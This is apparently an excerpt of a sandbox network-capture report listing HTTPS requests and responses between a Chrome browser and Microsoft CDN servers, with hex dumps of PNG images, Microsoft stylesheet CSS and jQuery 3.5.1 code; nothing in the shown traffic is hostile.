X-Cache: HIT
x-ms-blob-type: BlockBlob
x-ms-lease-status: unlocked
x-ms-request-id: 6725e28a-f01e-0057-3408-7385c3000000
x-ms-version: 2009-09-19
Content-Length: 1487
Connection: close

2022-07-01 09:00:50 UTC 944 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 33 00 00 00 33 08 06 00 00 00 3a a1 30 2a 00 00 
00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 
62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 05 5c 49 44 41 54 78 da d4 5a 4f 68 14 57 18 7f 89 0b 89 58 9
a c4 83 58 4b d9 ad 56 b0 18 d8 15 5a b4 05 cd 78 e9 a9 25 0b 3d e8 2d 23 3d 88 bd b8 16 7b 2c d9 1c 7a 6a 69 37 08 
d5 8b 64 bd b5 27 37 d8 53 7b e8 ac 82 87 da c2 a6 44 ac a0 74 83 18 25 87 b8 51 24 91 56 d2 ef 37 fb de f0 76 76 e6 cd 
9b 99 b7 2e f9 60 98 fd 33 7f de ef 7d df f7 fb fe bc 37 b0 b9 b9 c9 4c ca c0 f9 9b 16 9d 0a 74 8c d2 61 05 5c d2 a0 a3 45 8
7 83 cf 9b df 7e d8 32 f6 ee b4 60 68 f0 18 b4 4d 47 91 8e 89 dc 
Data Ascii: PNGIHDR33:0*pHYstEXtSoftwareAdobe ImageReadyqe<\IDATxZOhWXXKVZx%=-#={,zji7d'7S{Dt%Q$V7vv
.`3}7Lta\E~2`hMG

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

67 152.199.23.37 443 192.168.2.5 49807 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:50 UTC 945 IN HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control
,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
Age: 6281093
Cache-Control: public, max-age=31536000
Content-MD5: xg2DER+s52egaL6bUXi4hw==
Content-Type: text/css
Date: Fri, 01 Jul 2022 09:00:50 GMT
Etag: 0x8DA2180E9C582E0
Last-Modified: Mon, 18 Apr 2022 21:17:58 GMT
Server: ECAcc (frc/8F38)
Vary: Accept-Encoding
X-Cache: HIT
x-ms-blob-type: BlockBlob
x-ms-lease-status: unlocked
x-ms-request-id: 3fe64c9b-b01e-0053-5008-546e6f000000
x-ms-version: 2009-09-19
Content-Length: 110554
Connection: close

2022-07-01 09:00:50 UTC 946 IN Data Raw: 2f 2a 21 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 
6f 6e 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 20 2a 2f 2f 2a 21 0a 2d 2d 2d 2d 2d 2d 2d 2d 
2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 
52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 
2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 0a 54 68 69 73 20 66 69 6c 65 20 
69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 
6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 
Data Ascii: /*! Copyright (C) Microsoft Corporation. All rights reserved. *//*!------------------------------------------- START OF 
THIRD PARTY NOTICE -----------------------------------------This file is based on or incorporates material from the projects listed 

2022-07-01 09:00:50 UTC 962 IN Data Raw: 73 
Data Ascii: s

2022-07-01 09:00:50 UTC 962 IN Data Raw: 2d 31 2c 2e 63 6f 6c 2d 78 73 2d 32 2c 2e 63 6f 6c 2d 78 73 2d 33 2c 2e 63 6f 6c 2d 78 73 2d 34 2c 2e 63 6f 6c
2d 78 73 2d 35 2c 2e 63 6f 6c 2d 78 73 2d 36 2c 2e 63 6f 6c 2d 78 73 2d 37 2c 2e 63 6f 6c 2d 78 73 2d 38 2c 2e 63 6f 6c 
2d 78 73 2d 39 2c 2e 63 6f 6c 2d 78 73 2d 31 30 2c 2e 63 6f 6c 2d 78 73 2d 31 31 2c 2e 63 6f 6c 2d 78 73 2d 31 32 2c 2e 
63 6f 6c 2d 78 73 2d 31 33 2c 2e 63 6f 6c 2d 78 73 2d 31 34 2c 2e 63 6f 6c 2d 78 73 2d 31 35 2c 2e 63 6f 6c 2d 78 73 2d 
31 36 2c 2e 63 6f 6c 2d 78 73 2d 31 37 2c 2e 63 6f 6c 2d 78 73 2d 31 38 2c 2e 63 6f 6c 2d 78 73 2d 31 39 2c 2e 63 6f 6c 
2d 78 73 2d 32 30 2c 2e 63 6f 6c 2d 78 73 2d 32 31 2c 2e 63 6f 6c 2d 78 73 2d 32 32 2c 2e 63 6f 6c 2d 78 73 2d 32 33 2c 
2e 63 6f 6c 2d 78 73 2d 32 34 7b 66 6c 6f 61 74 3a 6c 
Data Ascii: -1,.col-xs-2,.col-xs-3,.col-xs-4,.col-xs-5,.col-xs-6,.col-xs-7,.col-xs-8,.col-xs-9,.col-xs-10,.col-xs-11,.col-xs-12,.col-
xs-13,.col-xs-14,.col-xs-15,.col-xs-16,.col-xs-17,.col-xs-18,.col-xs-19,.col-xs-20,.col-xs-21,.col-xs-22,.col-xs-23,.col-xs-24{
float:l
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2022-07-01 09:00:50 UTC 980 IN Data Raw: 67 69 6e 2d 6c 65 66 74 3a 39 35 2e 38 33 33 33 33 25 7d 2e 63 6f 6c 2d 78 6c 2d 6f 66 66 73 65 74 2d 32 34 
7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 30 30 25 7d 7d 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 
61 72 67 69 6e 3a 30 3b 62 6f 72 64 65 72 3a 30 3b 6d 69 6e 2d 77 69 64 74 68 3a 30 7d 6c 65 67 65 6e 64 7b 64 69 73 
70 6c 61 79 3a 62 6c 6f 63 6b 3b 77 69 64 74 68 3a 31 30 30 25 3b 70 61 64 64 69 6e 67 3a 30 3b 62 6f 72 64 65 72 3a 3
0 7d 6c 61 62 65 6c 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 6d 61 78 2d 77 69 64 74 68 3a 31 
30 30 25 7d 69 6e 70 75 74 5b 74 79 70 65 3d 22 73 65 61 72 63 68 22 5d 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 
7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f 
Data Ascii: gin-left:95.83333%}.col-xl-offset-24{margin-left:100%}}fieldset{padding:0;margin:0;border:0;min-width:0}lege
nd{display:block;width:100%;padding:0;border:0}label{display:inline-block;max-width:100%}input[type="search"]{-webkit-
box-sizing:border-box;-moz-bo

2022-07-01 09:00:50 UTC 996 IN Data Raw: 6c 6f 77 2d 78 3a 61 75 74 6f 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 2e 30 31 25 7d 40 6d 65 64 69 61 20 73 63 
72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 35 33 39 70 78 29 7b 2e 74 61 62 6c 65 2d 72 65 73 70 6f 
6e 73 69 76 65 7b 77 69 64 74 68 3a 31 30 30 25 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 35 70 78 3b 6f 76 65 
72 66 6c 6f 77 2d 79 3a 68 69 64 64 65 6e 3b 2d 6d 73 2d 6f 76 65 72 66 6c 6f 77 2d 73 74 79 6c 65 3a 2d 6d 73 2d 61 75 
74 6f 68 69 64 69 6e 67 2d 73 63 72 6f 6c 6c 62 61 72 7d 2e 74 61 62 6c 65 2d 72 65 73 70 6f 6e 73 69 76 65 3e 2e 74 61 
62 6c 65 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 2e 74 61 62 6c 65 2d 72 65 73 70 6f 6e 73 69 76 65 3e 2e 74 
61 62 6c 65 3e 74 68 65 61 64 3e 74 72 3e 74 68 2c 2e 74 61 62 
Data Ascii: low-x:auto;min-height:.01%}@media screen and (max-width:539px){.table-responsive{width:100%;margin-
bottom:15px;overflow-y:hidden;-ms-overflow-style:-ms-autohiding-scrollbar}.table-responsive>.table{margin-bottom:0}.tab
le-responsive>.table>thead>tr>th,.tab

2022-07-01 09:00:50 UTC 1012 IN Data Raw: 49 22 2c 22 54 75 6e 67 61 22 2c 22 4c 61 6f 20 55 49 22 2c 22 52 61 61 76 69 22 2c 22 49 73 6b 6f 6f 6c 61 
20 50 6f 74 61 22 2c 22 4c 61 74 68 61 22 2c 22 4c 65 65 6c 61 77 61 64 65 65 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 59 
61 48 65 69 20 55 49 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 4a 68 65 6e 67 48 65 69 20 55 49 22 2c 22 4d 61 6c 67 75 
6e 20 47 6f 74 68 69 63 22 2c 22 45 73 74 72 61 6e 67 65 6c 6f 20 45 64 65 73 73 61 22 2c 22 4d 69 63 72 6f 73 6f 66 74 
20 48 69 6d 61 6c 61 79 61 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 4e 65 77 20 54 61 69 20 4c 75 65 22 2c 22 4d 69 63 
72 6f 73 6f 66 74 20 50 68 61 67 73 50 61 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 54 61 69 20 4c 65 22 2c 22 4d 69 63 72 
6f 73 6f 66 74 20 59 69 20 42 61 69 74 69 22 2c 22 4d 6f 6e 67 
Data Ascii: I","Tunga","Lao UI","Raavi","Iskoola Pota","Latha","Leelawadee","Microsoft YaHei UI","Microsoft JhengHei UI"
,"Malgun Gothic","Estrangelo Edessa","Microsoft Himalaya","Microsoft New Tai Lue","Microsoft PhagsPa","Microsoft Tai 
Le","Microsoft Yi Baiti","Mong

2022-07-01 09:00:50 UTC 1028 IN Data Raw: 63 74 69 76 
Data Ascii: ctiv

2022-07-01 09:00:50 UTC 1028 IN Data Raw: 65 2c 2e 62 74 6e 2e 62 74 6e 2d 70 72 69 6d 61 72 79 2d 61 63 74 69 76 65 2c 2e 62 74 6e 2e 62 74 6e 2d 
70 72 69 6d 61 72 79 3a 61 63 74 69 76 65 2c 62 75 74 74 6f 6e 2e 62 74 6e 2d 70 72 69 6d 61 72 79 3a 61 63 74 69 76 
65 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 5d 2e 62 74 6e 2d 70 72 69 6d 61 72 79 3a 61 63 74 69 
76 65 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 73 75 62 6d 69 74 22 5d 2e 62 74 6e 2d 70 72 69 6d 61 72 79 3a 61 63 74 
69 76 65 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 65 73 65 74 22 5d 2e 62 74 6e 2d 70 72 69 6d 61 72 79 3a 61 63 74 
69 76 65 7b 6f 75 74 6c 69 6e 65 3a 6e 6f 6e 65 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 2d 6d 
73 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 2e 39 38 29 3b 2d 
Data Ascii: e,.btn.btn-primary-active,.btn.btn-primary:active,button.btn-primary:active,input[type="button"].btn-primary
:active,input[type="submit"].btn-primary:active,input[type="reset"].btn-primary:active{outline:none;text-decoration:none;-
ms-transform:scale(.98);-

2022-07-01 09:00:50 UTC 1044 IN Data Raw: 69 6e 65 3a 6e 6f 6e 65 3b 62 6f 72 64 65 72 2d 6c 65 66 74 3a 6e 6f 6e 65 3b 62 6f 72 64 65 72 2d 72 69 67 
68 74 3a 6e 6f 6e 65 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 6e 6f 6e 65 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 36 36 
36 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 7d 2e 64 72 6f 70 64 6f 77 6e 
2d 74 6f 67 67 6c 65 2e 6d 65 6d 62 65 72 6e 61 6d 65 50 72 65 66 69 6c 6c 53 65 6c 65 63 74 3a 61 63 74 69 76 65 7b 
74 72 61 6e 73 66 6f 72 6d 3a 6e 6f 6e 65 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 30 30 37 38 64 37 3b 
62 6f 72 64 65 72 2d 74 6f 70 2d 77 69 64 74 68 3a 30 3b 62 6f 72 64 65 72 2d 6c 65 66 74 2d 77 69 64 74 68 3a 30 3b 
62 6f 72 64 65 72 2d 72 69 67 68 74 2d 77 69 64 74 68 3a 30 7d 
Data Ascii: ine:none;border-left:none;border-right:none;border-top:none;border-color:#666;background-color:transparent}.
dropdown-toggle.membernamePrefillSelect:active{transform:none;border:1px solid #0078d7;border-top-width:0;border-left-
width:0;border-right-width:0}

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

68 152.199.23.37 443 192.168.2.5 49803 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:50 UTC 978 IN HTTP/1.1 200 OK
Accept-Ranges: bytes
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding
Age: 544762
Cache-Control: public, max-age=604800
Content-MD5: 7ZyesNzhfXUr7eprWs2m2Q==
Content-Type: image/png
Date: Fri, 01 Jul 2022 09:00:50 GMT
Etag: 0x8D641014F7D2A46
Last-Modified: Fri, 02 Nov 2018 20:25:20 GMT
Server: ECAcc (frc/8F55)
X-Cache: HIT
x-ms-blob-type: BlockBlob
x-ms-lease-status: unlocked
x-ms-request-id: c30883fe-e01e-0039-4334-88c6de000000
x-ms-version: 2009-09-19
Content-Length: 1057
Connection: close
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2022-07-01 09:00:50 UTC 979 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 6c 00 00 00 18 08 06 00 00 00 1f d5 18 1a 00 00 00 
09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 03 d3 49 44 41 54 68 de ed 58 4d 4e db 50 10 fe 5c b1 45 f1 
0d 92 f6 02 b8 27 20 2c da 2d e9 ba 8b 24 27 c0 48 b3 8f d9 8f 14 73 02 8c d4 ae 31 db 76 51 e7 06 c9 01 aa 9a 13 34 e9 
05 d2 cd 0c 1a 06 1b 0c 2d c2 91 3c 92 17 ef f9 fd cc 7b df fc 7c f3 82 3f a3 77 5b 34 94 fd ab 9f 41 f2 3d 68 3c 3e f9 b0 
0d d0 c9 7f 95 37 dd 15 74 80 75 f2 82 b2 d7 5d 41 7b 84 88 26 00 06 d2 2c 98 b9 68 05 60 44 34 00 30 31 5d 95 ca d5 
1c 04 cc 9c 48 7f 26 fd c9 43 f3 77 00 a8 10 40 01 e0 c0 fd 2a da e2 61 03 00 33 d3 be 03 48 c5 61 52 00 3d cb 67 88 28 
02 30 d6 36 80 e1 0e 3b 57 6c c0 da 00 58 02 58 cb f9 47 
Data Ascii: PNGIHDRlpHYs~IDAThXMNP\E' ,-$'Hs1vQ4-<{|?w[4A=h<>7tu]A{&,h`D401]H&Cw@*a3HaR=g(06;WlXXG

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

69 192.168.2.5 49808 152.199.23.37 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:50 UTC 1056 OUT GET /ests/2.1/content/cdnbundles/jquery.3.5.min_dc940oomzau4rsu8qesnvg2.js HTTP/1.1
Host: aadcdn.msftauth.net
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.9,*/*;q=0.8
Purpose: prefetch
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: empty
Referer: https://login.microsoftonline.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

7 192.168.2.5 49735 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:34 UTC 78 OUT GET /image/apps.15881.13753891519397067.8011a592-e549-44a6-8073-41dcd83eddbe.bcf361e4-21f7-429d-877a-
6c55c1b655ff?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-07-01 09:00:34 UTC 79 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 3995
Content-Type: image/png
Last-Modified: Thu, 31 Mar 2022 05:44:11 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REExMkQ5N0I1NEZGNzY"
MS-CV: j3ZlnqhXhku72AJi.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 01 Jul 2022 09:00:34 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-07-01 09:00:34 UTC 79 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 03 00 00 00 4e a3 7e 47 00 00 
02 f7 50 4c 54 45 47 70 4c 1b 9d e1 1b 9d e2 1a 9b e1 19 99 de 19 96 dc 18 93 da 18 91 d7 16 8e d5 15 8c d3 15 89 cf 
15 86 cd 14 85 cc 14 85 cb 0f 7f c7 1a 9c e2 1b 9d e2 1a 9c e1 1a 9b e0 1a 9a df 1a 99 df 19 98 de 19 97 dd 19 98 dd 19 
97 dc 19 96 db 18 95 db 18 94 da 18 93 d9 18 92 d8 18 91 d7 18 90 d6 17 8f d6 17 8f d5 17 8f d5 17 8e d5 17 8d d4 17 8d 
d3 16 8c d3 16 8b d2 16 8a d1 15 89 d0 15 87 ce 15 88 cf 15 86 cd 16 87 ce 15 85 cc 14 85 cc 14 84 cb 15 84 cb 14 82 c
a 18 95 db 18 95 da 18 94 d9 17 90 d6 18 8f d5 15 87 cf 16 88 cf 14 83 cc 14 83 ca 16 65 a2 1a 9c e1 17 91 d7 14 82 ca 
14 82 ca 14 82 c9 15 8a d1 16 8b d1 14 81 c8 13 80 c8 13 80 c8 13 
Data Ascii: PNGIHDR,,N~GPLTEGpLe

Session ID Source IP Source Port Destination IP
Destination
Port

Process

70 192.168.2.5 49809 152.199.23.37 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:00:50 UTC 1056 OUT GET /ests/2.1/content/cdnbundles/aad.login.min_kx1da7l2dz6nhe9kugk19a2.js HTTP/1.1
Host: aadcdn.msftauth.net
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.9,*/*;q=0.8
Purpose: prefetch
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: empty
Referer: https://login.microsoftonline.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

71 152.199.23.37 443 192.168.2.5 49808 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:50 UTC 1057 IN HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control
,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
Age: 22923908
Cache-Control: public, max-age=31536000
Content-MD5: HWW92uTq7vx3y5z+zFZbXQ==
Content-Type: application/x-javascript
Date: Fri, 01 Jul 2022 09:00:50 GMT
Etag: 0x8D8DA1D9D23143A
Last-Modified: Fri, 26 Feb 2021 06:13:19 GMT
Server: ECAcc (frc/8F5A)
Vary: Accept-Encoding
X-Cache: HIT
x-ms-blob-type: BlockBlob
x-ms-lease-status: unlocked
x-ms-request-id: 30219252-601e-007f-4fab-bcdcbd000000
x-ms-version: 2009-09-19
Content-Length: 119648
Connection: close

2022-07-01 09:00:50 UTC 1057 IN Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 35 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 
6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 
63 65 6e 73 65 20 2a 2f 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 
6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 
20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 
74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 
72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 
Data Ascii: /*! jQuery v3.5.1 | (c) JS Foundation and other contributors | jquery.org/license */!function(e,t){"use stri
ct";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(
!e.document)throw new Error("jQuery

2022-07-01 09:00:50 UTC 1073 IN Data Raw: 3d 
Data Ascii: =

2022-07-01 09:00:50 UTC 1073 IN Data Raw: 28 61 3d 65 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 
5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 
2c 21 31 3d 3d 3d 64 29 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 
75 2e 70 6f 70 28 29 29 69 66 28 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 
3d 66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 64 26 26 28 70 26 26 28 28 69 3d 28 6f 3d 61 5b 53 5
d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 
5d 3d 7b 7d 29 29 5b 68 5d 3d 5b 6b 2c 64 5d 29 2c 61 3d 3d 3d 65 
Data Ascii: (a=e)[S]||(a[S]={}))[a.uniqueID]||(o[a.uniqueID]={}))[h]||[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]||(d=
s=0)||u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]||(a[S]={}))[a.uniqueID]||
(o[a.uniqueID]={}))[h]=[k,d]),a===e

2022-07-01 09:00:50 UTC 1122 IN Data Raw: 65 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 65 2e 6e 6f 64 65 
54 79 70 65 7c 7c 21 2b 65 2e 6e 6f 64 65 54 79 70 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 74 68 69 73 2e 65 
78 70 61 6e 64 6f 3d 53 2e 65 78 70 61 6e 64 6f 2b 47 2e 75 69 64 2b 2b 7d 47 2e 75 69 64 3d 31 2c 47 2e 70 72 6f 74 6f 
74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 5b 74 68 69 73 2e 65 78 
70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 7b 7d 2c 56 28 65 29 26 26 28 65 2e 6e 6f 64 65 54 79 70 6
5 3f 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 74 3a 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 
79 28 65 2c 74 68 69 73 2e 65 78 70 61 6e 64 6f 2c 7b 76 61 6c 75 
Data Ascii: e){return 1===e.nodeType||9===e.nodeType||!+e.nodeType};function G(){this.expando=S.expando+G.uid+
+}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t||(t={},V(e)&&(e.nodeType?e[this.expand
o]=t:Object.defineProperty(e,this.expando,{valu

2022-07-01 09:00:50 UTC 1138 IN Data Raw: 65 73 
Data Ascii: es
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2022-07-01 09:00:50 UTC 1138 IN Data Raw: 74 28 73 2e 74 79 70 65 29 3f 75 2e 63 68 65 63 6b 65 64 3d 73 2e 63 68 65 63 6b 65 64 3a 22 69 6e 70 75 
74 22 21 3d 3d 6c 26 26 22 74 65 78 74 61 72 65 61 22 21 3d 3d 6c 7c 7c 28 75 2e 64 65 66 61 75 6c 74 56 61 6c 75 65 
3d 73 2e 64 65 66 61 75 6c 74 56 61 6c 75 65 29 3b 69 66 28 74 29 69 66 28 6e 29 66 6f 72 28 6f 3d 6f 7c 7c 76 65 28 65 
29 2c 61 3d 61 7c 7c 76 65 28 63 29 2c 72 3d 30 2c 69 3d 6f 2e 6c 65 6e 67 74 68 3b 72 3c 69 3b 72 2b 2b 29 4f 65 28 6f 
5b 72 5d 2c 61 5b 72 5d 29 3b 65 6c 73 65 20 4f 65 28 65 2c 63 29 3b 72 65 74 75 72 6e 20 30 3c 28 61 3d 76 65 28 63 2
c 22 73 63 72 69 70 74 22 29 29 2e 6c 65 6e 67 74 68 26 26 79 65 28 61 2c 21 66 26 26 76 65 28 65 2c 22 73 63 72 69 
70 74 22 29 29 2c 63 7d 2c 63 6c 65 61 6e 44 61 74 61 3a 66 75 6e 63 
Data Ascii: t(s.type)?u.checked=s.checked:"input"!==l&&"textarea"!==l||(u.defaultValue=s.defaultValue);if(t)if(n)for(o=o
||ve(e),a=a||ve(c),r=0,i=o.length;r<i;r++)Oe(o[r],a[r]);else Oe(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"
script")),c},cleanData:func

2022-07-01 09:00:50 UTC 1154 IN Data Raw: 74 65 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 
3d 65 2e 6e 6f 64 65 54 79 70 65 3b 69 66 28 33 21 3d 3d 6f 26 26 38 21 3d 3d 6f 26 26 32 21 3d 3d 6f 29 72 65 74 75 72 
6e 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 3f 53 2e 70 
72 6f 70 28 65 2c 74 2c 6e 29 3a 28 31 3d 3d 3d 6f 26 26 53 2e 69 73 58 4d 4c 44 6f 63 28 65 29 7c 7c 28 69 3d 53 2e 61 
74 74 72 48 6f 6f 6b 73 5b 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 28 53 2e 65 78 70 72 2e 6d 61 74 63 68 
2e 62 6f 6f 6c 2e 74 65 73 74 28 74 29 3f 70 74 3a 76 6f 69 64 20 30 29 29 2c 76 6f 69 64 20 30 21 3d 3d 6e 3f 6e 75 6c 
6c 3d 3d 3d 6e 3f 76 6f 69 64 20 53 2e 72 65 6d 6f 76 65 41 
Data Ascii: tend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttrib
ute?S.prop(e,t,n):(1===o&&S.isXMLDoc(e)||(i=S.attrHooks[t.toLowerCase()]||(S.expr.match.bool.test(t)?pt:void 0)),void 0!
